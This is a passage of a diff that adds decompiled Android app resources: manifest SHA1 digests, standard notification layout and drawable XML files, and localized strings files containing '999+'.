|
||||
SHA1-Digest: Zex797dp9csst+dCVKog6uj6ZC0=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: dnObiFrk1DvtR5VGgJWQwE6oNeo=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png
|
||||
SHA1-Digest: 9MYmMKRnfwttaoRGc1WDg0jzgyY=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_normal.9.png
|
||||
SHA1-Digest: URz3Lz/tIjMAtXfNHimWcDQLTtQ=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png
|
||||
SHA1-Digest: iJFesSsAAmE1zFB9XbiCZW1cKKU=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notify_panel_notification_icon_bg.png
|
||||
SHA1-Digest: qtoCsdEoyaDYmAvH44tfVLv6hoY=
|
||||
|
||||
Name: res/drawable/notification_bg.xml
|
||||
SHA1-Digest: LKsBeTAkpICXXSXqeJy+FBjmV6s=
|
||||
|
||||
Name: res/drawable/notification_bg_low.xml
|
||||
SHA1-Digest: llIquDNpnOatx9ooUyxBchIFfbA=
|
||||
|
||||
Name: res/drawable/notification_icon_background.xml
|
||||
SHA1-Digest: EW5mKniW4HJ3Y2W4sNpUIsdF3DM=
|
||||
|
||||
Name: res/drawable/notification_tile_bg.xml
|
||||
SHA1-Digest: YKsJ15gsA+k4Ki34nO89lXtB54k=
|
||||
|
||||
Name: res/layout-v16/notification_template_custom_big.xml
|
||||
SHA1-Digest: wxOc8B5C0T4HgqDGWW83VdpseiE=
|
||||
|
||||
Name: res/layout-v17/activity_main.xml
|
||||
SHA1-Digest: mUE8iCQVgfGkCKmfJqfXP/dG53I=
|
||||
SHA1-Digest: U2plx+erBWwhBr64eprc8rWy3js=
|
||||
|
||||
Name: res/layout-v17/notification_action.xml
|
||||
SHA1-Digest: OspMX+wTFtQnd5Ww+rurwUz/ja8=
|
||||
|
||||
Name: res/layout-v17/notification_action_tombstone.xml
|
||||
SHA1-Digest: llQY7Aoh2hrWawwRMDPV7RQTJJw=
|
||||
|
||||
Name: res/layout-v17/notification_template_custom_big.xml
|
||||
SHA1-Digest: O7/LuvibgfOp/fahy0sVuM2sryI=
|
||||
|
||||
Name: res/layout-v21/notification_action.xml
|
||||
SHA1-Digest: Fo89dRReih2gmYNU5TUZYyR0geE=
|
||||
|
||||
Name: res/layout-v21/notification_action_tombstone.xml
|
||||
SHA1-Digest: EkLx1It0NCUFl1R2Lpr0urDDuMU=
|
||||
|
||||
Name: res/layout-v21/notification_template_custom_big.xml
|
||||
SHA1-Digest: 5BiN/RbcFoRnoQCoHhFkVsCpMHo=
|
||||
|
||||
Name: res/layout-v21/notification_template_icon_group.xml
|
||||
SHA1-Digest: iEC+W17JMn61p8PVwKw3zXITtCE=
|
||||
|
||||
Name: res/layout/activity_main.xml
|
||||
SHA1-Digest: ZIJV8JLldsF9ghldjhRsLK4zR8E=
|
||||
SHA1-Digest: Ykm1nNYD2LS2ZIKqRsXi+Q+X0EQ=
|
||||
|
||||
Name: res/layout/notification_action.xml
|
||||
SHA1-Digest: d6QlSmH2hVUxINhNL/+NRqdx3Jo=
|
||||
|
||||
Name: res/layout/notification_action_tombstone.xml
|
||||
SHA1-Digest: fnB+5IfCyv2F4HDi7njfdF3CyU0=
|
||||
|
||||
Name: res/layout/notification_template_custom_big.xml
|
||||
SHA1-Digest: h6ypWY0aAVEP3rbjmnqmr4utx+4=
|
||||
|
||||
Name: res/layout/notification_template_icon_group.xml
|
||||
SHA1-Digest: NHXWtkfAUZ7Y4W6+LuYzmrhrM8M=
|
||||
|
||||
Name: res/layout/notification_template_part_chronometer.xml
|
||||
SHA1-Digest: CpePX0Swh6O4DsIQ+3MhggXfn8E=
|
||||
|
||||
Name: res/layout/notification_template_part_time.xml
|
||||
SHA1-Digest: J1MZ7lTIokOYCHE/3CrJxdjJZII=
|
||||
|
||||
Name: res/mipmap-hdpi-v4/ic_launcher.png
|
||||
SHA1-Digest: dgOODFlTpfHDDTUL6xuLQSdAG7w=
|
||||
@ -30,5 +142,5 @@ Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
|
||||
SHA1-Digest: Z+/XJPt1sAKFXReYL68NU6geHLc=
|
||||
|
||||
Name: resources.arsc
|
||||
SHA1-Digest: 1+9k2c74Tr/UZ7Wc9apsmwbd28Q=
|
||||
SHA1-Digest: GboCQPewD8xMd4YNzqee9CLvG3A=
|
||||
|
||||
|
@ -0,0 +1 @@
|
||||
1.1.1
|
@ -0,0 +1 @@
|
||||
1.0.0
|
@ -0,0 +1 @@
|
||||
1.0.0
|
After Width: | Height: | Size: 112 B |
After Width: | Height: | Size: 112 B |
After Width: | Height: | Size: 112 B |
After Width: | Height: | Size: 112 B |
After Width: | Height: | Size: 107 B |
After Width: | Height: | Size: 109 B |
After Width: | Height: | Size: 109 B |
After Width: | Height: | Size: 109 B |
After Width: | Height: | Size: 109 B |
After Width: | Height: | Size: 98 B |
@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ripple android:color="@color/ripple_material_light"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<item android:id="@android:id/mask">
|
||||
<inset android:insetLeft="@dimen/compat_button_inset_horizontal_material" android:insetRight="@dimen/compat_button_inset_horizontal_material" android:insetTop="@dimen/compat_button_inset_vertical_material" android:insetBottom="@dimen/compat_button_inset_vertical_material"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<shape android:shape="rectangle">
|
||||
<corners android:radius="@dimen/compat_control_corner_material" />
|
||||
<solid android:color="@android:color/white" />
|
||||
<padding android:left="@dimen/compat_button_padding_horizontal_material" android:top="@dimen/compat_button_padding_vertical_material" android:right="@dimen/compat_button_padding_horizontal_material" android:bottom="@dimen/compat_button_padding_vertical_material" />
|
||||
</shape>
|
||||
</inset>
|
||||
</item>
|
||||
</ripple>
|
After Width: | Height: | Size: 130 B |
After Width: | Height: | Size: 141 B |
After Width: | Height: | Size: 130 B |
After Width: | Height: | Size: 136 B |
After Width: | Height: | Size: 138 B |
6
app/factory/decompiled/res/drawable/notification_bg.xml
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<selector android:exitFadeDuration="@android:integer/config_mediumAnimTime"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<item android:state_pressed="true" android:drawable="@drawable/notification_bg_normal_pressed" />
|
||||
<item android:state_pressed="false" android:drawable="@drawable/notification_bg_normal" />
|
||||
</selector>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<selector android:exitFadeDuration="@android:integer/config_mediumAnimTime"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<item android:state_pressed="true" android:drawable="@drawable/notification_bg_low_pressed" />
|
||||
<item android:state_pressed="false" android:drawable="@drawable/notification_bg_low_normal" />
|
||||
</selector>
|
@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<shape android:shape="oval"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<solid android:color="@color/notification_icon_bg_color" />
|
||||
</shape>
|
@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<bitmap android:src="@drawable/notify_panel_notification_icon_bg" android:tileMode="repeat"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android" />
|
@ -0,0 +1,20 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<FrameLayout android:id="@id/notification_background" android:layout_width="fill_parent" android:layout_height="wrap_content"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:id="@id/icon" android:layout_width="@dimen/notification_large_icon_width" android:layout_height="@dimen/notification_large_icon_height" android:scaleType="center" />
|
||||
<LinearLayout android:layout_gravity="top" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="wrap_content">
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/notification_main_column_container" android:paddingTop="@dimen/notification_main_column_padding_top" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="@dimen/notification_large_icon_width" android:minHeight="@dimen/notification_large_icon_height">
|
||||
<FrameLayout android:id="@id/notification_main_column" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="@dimen/notification_content_margin_start" android:layout_marginRight="8.0dip" android:layout_marginBottom="8.0dip" android:layout_weight="1.0" />
|
||||
<FrameLayout android:id="@id/right_side" android:paddingTop="@dimen/notification_right_side_padding_top" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginRight="8.0dip">
|
||||
<ViewStub android:layout_gravity="end|center|top" android:id="@id/time" android:visibility="gone" android:layout="@layout/notification_template_part_time" android:layout_width="wrap_content" android:layout_height="wrap_content" />
|
||||
<ViewStub android:layout_gravity="end|center|top" android:id="@id/chronometer" android:visibility="gone" android:layout="@layout/notification_template_part_chronometer" android:layout_width="wrap_content" android:layout_height="wrap_content" />
|
||||
<LinearLayout android:layout_gravity="end|bottom|center" android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginTop="20.0dip">
|
||||
<TextView android:textAppearance="@style/TextAppearance.Compat.Notification.Info" android:id="@id/info" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" />
|
||||
<ImageView android:layout_gravity="center" android:id="@id/right_icon" android:visibility="gone" android:layout_width="16.0dip" android:layout_height="16.0dip" android:layout_marginLeft="8.0dip" android:scaleType="centerInside" android:alpha="0.6" />
|
||||
</LinearLayout>
|
||||
</FrameLayout>
|
||||
</LinearLayout>
|
||||
<ImageView android:id="@id/action_divider" android:background="?android:dividerHorizontal" android:visibility="gone" android:layout_width="fill_parent" android:layout_height="1.0px" android:layout_marginLeft="@dimen/notification_large_icon_width" />
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/actions" android:visibility="gone" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="@dimen/notification_large_icon_width" android:divider="?android:listDivider" android:showDividers="middle" android:dividerPadding="12.0dip" />
|
||||
</LinearLayout>
|
||||
</FrameLayout>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/action_container" android:paddingLeft="4.0dip" android:layout_width="0.0dip" android:layout_height="48.0dip" android:layout_weight="1.0" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionContainer"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:layout_gravity="start|center" android:id="@id/action_image" android:layout_width="@dimen/notification_action_icon_size" android:layout_height="@dimen/notification_action_icon_size" android:scaleType="centerInside" />
|
||||
<TextView android:textColor="#ffcccccc" android:ellipsize="end" android:layout_gravity="start|center" android:id="@id/action_text" android:paddingLeft="4.0dip" android:clickable="false" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionText" />
|
||||
</LinearLayout>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout android:enabled="false" android:orientation="horizontal" android:id="@id/action_container" android:background="@null" android:paddingLeft="4.0dip" android:layout_width="0.0dip" android:layout_height="48.0dip" android:layout_weight="1.0" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionContainer"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:enabled="false" android:layout_gravity="start|center" android:id="@id/action_image" android:layout_width="@dimen/notification_action_icon_size" android:layout_height="@dimen/notification_action_icon_size" android:scaleType="centerInside" android:alpha="0.5" />
|
||||
<TextView android:enabled="false" android:textColor="#ffcccccc" android:ellipsize="end" android:layout_gravity="start|center" android:id="@id/action_text" android:paddingLeft="4.0dip" android:clickable="false" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" android:alpha="0.5" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionText" />
|
||||
</LinearLayout>
|
@ -0,0 +1,20 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<FrameLayout android:id="@id/notification_background" android:layout_width="fill_parent" android:layout_height="wrap_content"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:id="@id/icon" android:layout_width="@dimen/notification_large_icon_width" android:layout_height="@dimen/notification_large_icon_height" android:scaleType="center" />
|
||||
<LinearLayout android:layout_gravity="top" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="wrap_content">
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/notification_main_column_container" android:paddingTop="@dimen/notification_main_column_padding_top" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="@dimen/notification_large_icon_width" android:minHeight="@dimen/notification_large_icon_height" android:layout_marginStart="@dimen/notification_large_icon_width">
|
||||
<FrameLayout android:id="@id/notification_main_column" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="@dimen/notification_content_margin_start" android:layout_marginRight="8.0dip" android:layout_marginBottom="8.0dip" android:layout_weight="1.0" android:layout_marginStart="@dimen/notification_content_margin_start" android:layout_marginEnd="8.0dip" />
|
||||
<FrameLayout android:id="@id/right_side" android:paddingTop="@dimen/notification_right_side_padding_top" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginRight="8.0dip" android:layout_marginEnd="8.0dip">
|
||||
<ViewStub android:layout_gravity="end|center|top" android:id="@id/time" android:visibility="gone" android:layout="@layout/notification_template_part_time" android:layout_width="wrap_content" android:layout_height="wrap_content" />
|
||||
<ViewStub android:layout_gravity="end|center|top" android:id="@id/chronometer" android:visibility="gone" android:layout="@layout/notification_template_part_chronometer" android:layout_width="wrap_content" android:layout_height="wrap_content" />
|
||||
<LinearLayout android:layout_gravity="end|bottom|center" android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginTop="20.0dip">
|
||||
<TextView android:textAppearance="@style/TextAppearance.Compat.Notification.Info" android:id="@id/info" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" />
|
||||
<ImageView android:layout_gravity="center" android:id="@id/right_icon" android:visibility="gone" android:layout_width="16.0dip" android:layout_height="16.0dip" android:layout_marginLeft="8.0dip" android:scaleType="centerInside" android:alpha="0.6" android:layout_marginStart="8.0dip" />
|
||||
</LinearLayout>
|
||||
</FrameLayout>
|
||||
</LinearLayout>
|
||||
<ImageView android:id="@id/action_divider" android:background="?android:dividerHorizontal" android:visibility="gone" android:layout_width="fill_parent" android:layout_height="1.0px" android:layout_marginLeft="@dimen/notification_large_icon_width" android:layout_marginStart="@dimen/notification_large_icon_width" />
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/actions" android:visibility="gone" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="@dimen/notification_large_icon_width" android:divider="?android:listDivider" android:showDividers="middle" android:dividerPadding="12.0dip" android:layout_marginStart="@dimen/notification_large_icon_width" />
|
||||
</LinearLayout>
|
||||
</FrameLayout>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/action_container" android:layout_width="0.0dip" android:layout_height="48.0dip" android:layout_weight="1.0" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionContainer"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:layout_gravity="start|center" android:id="@id/action_image" android:layout_width="@dimen/notification_action_icon_size" android:layout_height="@dimen/notification_action_icon_size" android:scaleType="centerInside" />
|
||||
<TextView android:ellipsize="end" android:layout_gravity="start|center" android:id="@id/action_text" android:clickable="false" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionText" />
|
||||
</LinearLayout>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout android:enabled="false" android:orientation="horizontal" android:id="@id/action_container" android:background="@null" android:layout_width="0.0dip" android:layout_height="48.0dip" android:layout_weight="1.0" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionContainer"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:enabled="false" android:layout_gravity="start|center" android:id="@id/action_image" android:layout_width="@dimen/notification_action_icon_size" android:layout_height="@dimen/notification_action_icon_size" android:scaleType="centerInside" android:alpha="0.5" />
|
||||
<TextView android:enabled="false" android:ellipsize="end" android:layout_gravity="start|center" android:id="@id/action_text" android:clickable="false" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" android:alpha="0.5" android:paddingStart="4.0dip" style="@style/Widget.Compat.NotificationActionText" />
|
||||
</LinearLayout>
|
@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<FrameLayout android:id="@id/notification_background" android:layout_width="fill_parent" android:layout_height="wrap_content"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<include android:layout_width="@dimen/notification_large_icon_width" android:layout_height="@dimen/notification_large_icon_height" layout="@layout/notification_template_icon_group" />
|
||||
<LinearLayout android:layout_gravity="top" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginStart="@dimen/notification_large_icon_width">
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/notification_main_column_container" android:layout_width="fill_parent" android:layout_height="wrap_content" android:minHeight="@dimen/notification_large_icon_height">
|
||||
<FrameLayout android:id="@id/notification_main_column" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginBottom="8.0dip" android:layout_weight="1.0" android:layout_marginEnd="8.0dip" />
|
||||
<FrameLayout android:id="@id/right_side" android:paddingTop="@dimen/notification_right_side_padding_top" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginEnd="8.0dip">
|
||||
<ViewStub android:layout_gravity="end|center|top" android:id="@id/time" android:visibility="gone" android:layout="@layout/notification_template_part_time" android:layout_width="wrap_content" android:layout_height="wrap_content" />
|
||||
<ViewStub android:layout_gravity="end|center|top" android:id="@id/chronometer" android:visibility="gone" android:layout="@layout/notification_template_part_chronometer" android:layout_width="wrap_content" android:layout_height="wrap_content" />
|
||||
<TextView android:textAppearance="@style/TextAppearance.Compat.Notification.Info" android:layout_gravity="end|bottom|center" android:id="@id/info" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="20.0dip" android:singleLine="true" />
|
||||
</FrameLayout>
|
||||
</LinearLayout>
|
||||
<ImageView android:id="@id/action_divider" android:background="#29000000" android:visibility="gone" android:layout_width="fill_parent" android:layout_height="1.0dip" />
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/actions" android:visibility="gone" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginStart="-8.0dip" />
|
||||
</LinearLayout>
|
||||
</FrameLayout>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<FrameLayout android:id="@id/icon_group" android:layout_width="@dimen/notification_large_icon_width" android:layout_height="@dimen/notification_large_icon_height"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:id="@id/icon" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_marginTop="@dimen/notification_big_circle_margin" android:layout_marginBottom="@dimen/notification_big_circle_margin" android:scaleType="centerInside" android:layout_marginStart="@dimen/notification_big_circle_margin" android:layout_marginEnd="@dimen/notification_big_circle_margin" />
|
||||
<ImageView android:layout_gravity="end|bottom|center" android:id="@id/right_icon" android:visibility="gone" android:layout_width="@dimen/notification_right_icon_size" android:layout_height="@dimen/notification_right_icon_size" android:layout_marginBottom="8.0dip" android:scaleType="centerInside" android:layout_marginEnd="8.0dip" />
|
||||
</FrameLayout>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/action_container" android:paddingLeft="4.0dip" android:layout_width="0.0dip" android:layout_height="48.0dip" android:layout_weight="1.0" style="@style/Widget.Compat.NotificationActionContainer"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:layout_gravity="start|center" android:id="@id/action_image" android:layout_width="@dimen/notification_action_icon_size" android:layout_height="@dimen/notification_action_icon_size" android:scaleType="centerInside" />
|
||||
<TextView android:textColor="#ffcccccc" android:ellipsize="end" android:layout_gravity="start|center" android:id="@id/action_text" android:paddingLeft="4.0dip" android:clickable="false" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" style="@style/Widget.Compat.NotificationActionText" />
|
||||
</LinearLayout>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout android:enabled="false" android:orientation="horizontal" android:id="@id/action_container" android:background="@null" android:paddingLeft="4.0dip" android:layout_width="0.0dip" android:layout_height="48.0dip" android:layout_weight="1.0" style="@style/Widget.Compat.NotificationActionContainer"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:enabled="false" android:layout_gravity="start|center" android:id="@id/action_image" android:layout_width="@dimen/notification_action_icon_size" android:layout_height="@dimen/notification_action_icon_size" android:scaleType="centerInside" android:alpha="0.5" />
|
||||
<TextView android:enabled="false" android:textColor="#ffcccccc" android:ellipsize="end" android:layout_gravity="start|center" android:id="@id/action_text" android:paddingLeft="4.0dip" android:clickable="false" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" android:alpha="0.5" style="@style/Widget.Compat.NotificationActionText" />
|
||||
</LinearLayout>
|
@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout android:orientation="horizontal" android:id="@id/notification_main_column_container" android:paddingRight="12.0dip" android:layout_width="fill_parent" android:layout_height="wrap_content" android:minHeight="@dimen/notification_large_icon_height"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<ImageView android:id="@id/icon" android:background="@drawable/notification_tile_bg" android:layout_width="@dimen/notification_large_icon_width" android:layout_height="@dimen/notification_large_icon_height" android:scaleType="center" />
|
||||
<FrameLayout android:id="@id/notification_main_column" android:paddingLeft="12.0dip" android:paddingTop="@dimen/notification_main_column_padding_top" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_weight="1.0" />
|
||||
<FrameLayout android:id="@id/right_side" android:paddingLeft="12.0dip" android:paddingTop="12.0dip" android:layout_width="wrap_content" android:layout_height="wrap_content">
|
||||
<include android:layout_gravity="end|center|top" android:visibility="gone" android:layout_width="wrap_content" android:layout_height="wrap_content" layout="@layout/notification_template_part_time" />
|
||||
<LinearLayout android:layout_gravity="end|bottom|center" android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginTop="18.0dip">
|
||||
<TextView android:textAppearance="@style/TextAppearance.Compat.Notification.Info" android:layout_gravity="center" android:id="@id/info" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true" />
|
||||
<ImageView android:layout_gravity="center" android:id="@id/right_icon" android:visibility="gone" android:layout_width="24.0dip" android:layout_height="24.0dip" android:layout_marginLeft="8.0dip" android:scaleType="center" android:alpha="0.7" />
|
||||
</LinearLayout>
|
||||
</FrameLayout>
|
||||
</LinearLayout>
|
@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ImageView android:id="@id/icon" android:layout_width="@dimen/notification_large_icon_width" android:layout_height="@dimen/notification_large_icon_height" android:scaleType="centerCrop"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android" />
|
@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Chronometer android:textAppearance="@style/TextAppearance.Compat.Notification.Time" android:id="@id/chronometer" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android" />
|
@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<DateTimeView android:textAppearance="@style/TextAppearance.Compat.Notification.Time" android:id="@id/time" android:layout_width="wrap_content" android:layout_height="wrap_content" android:singleLine="true"
|
||||
xmlns:android="http://schemas.android.com/apk/res/android" />
|
4
app/factory/decompiled/res/values-af/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-am/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-ar/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-as/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">৯৯৯+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-az/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-b+sr+Latn/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-be/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-bg/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-bn/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">৯৯৯+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-bs/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-ca/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-cs/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-da/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-de/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-el/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-en-rAU/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-en-rCA/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-en-rGB/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-en-rIN/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-en-rXC/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-es-rUS/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-es/strings.xml
Normal file
@ -0,0 +1,4 @@
